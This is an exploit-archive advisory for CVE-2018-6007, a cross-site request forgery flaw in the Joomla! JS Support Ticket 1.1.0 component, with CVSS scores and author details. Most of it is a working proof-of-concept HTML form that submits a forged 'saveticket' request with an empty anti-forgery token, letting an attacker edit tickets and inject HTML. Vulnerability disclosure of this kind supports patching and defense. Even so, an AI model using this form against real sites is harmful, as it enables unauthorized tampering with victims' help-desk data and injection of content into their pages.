Joomla! JS Support Ticket 1.1.0 Cross Site Request Forgery

2018.01.29

Credit: Ihsan Sencan

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2018-6007

CWE: CWE-352

CVSS Base Score: 6.8/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

<!--
# # # # #
# Exploit Title: Joomla! Component JS Support Ticket 1.1.0 - Cross-Site Request Forgery
# Dork: N/A
# Date: 27.01.2018
# Vendor Homepage: http://www.joomsky.com/
# Software Link: https://extensions.joomla.org/extensions/extension/clients-a-communities/help-desk/js-support-ticket/
# Software Download: http://joomsky.com/46/download/1.html
# Version: 1.1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-6007
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability implication allows an attacker to inject html code, edit ticket etc..
# 
# Proof of Concept: 
-->
 
<html>
<body>
  
<form action="http://localhost/[PATH]/index.php" method="POST" enctype="multipart/form-data" name="adminForm" id="adminForm">
<textarea name="message" id="message" cols="60" rows="20" style="width: 550px; height: 300px;">
<p>[CODE]</p>
</textarea><br>
<input type="submit" class="button" name="submit_app" id="submit_app_button" onclick="return validate_form(document.adminForm)" value="Ver Ayari">
<input type="hidden" name="id" id="id" value="1" />
<input type="hidden" name="isoverdue" id="isoverdue" value="0" />
<input type="hidden" name="ticketid" id="ticketid" value="vCP4VTWrwzY" />
<input type="hidden" name="c" id="c" value="ticket" />
<input type="hidden" name="task" id="task" value="saveticket" />
<input type="hidden" name="uid" id="uid" value="521" />
<input type="hidden" name="view" id="view" value="ticket" />
<input type="hidden" name="layout" id="layout" value="formticket" />
<input type="hidden" name="check" id="check" value="" />
<input type="hidden" name="option" id="option" value="com_jssupportticket" />
<input type="hidden" name="created" id="created" value="2018-01-27 11:46:58"/>
<input type="hidden" name="update" id="update" value=""/>
</form>
 
</body>
</html>

See this note in RAW Version

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Joomla! JS Support Ticket 1.1.0 Cross Site Request Forgery

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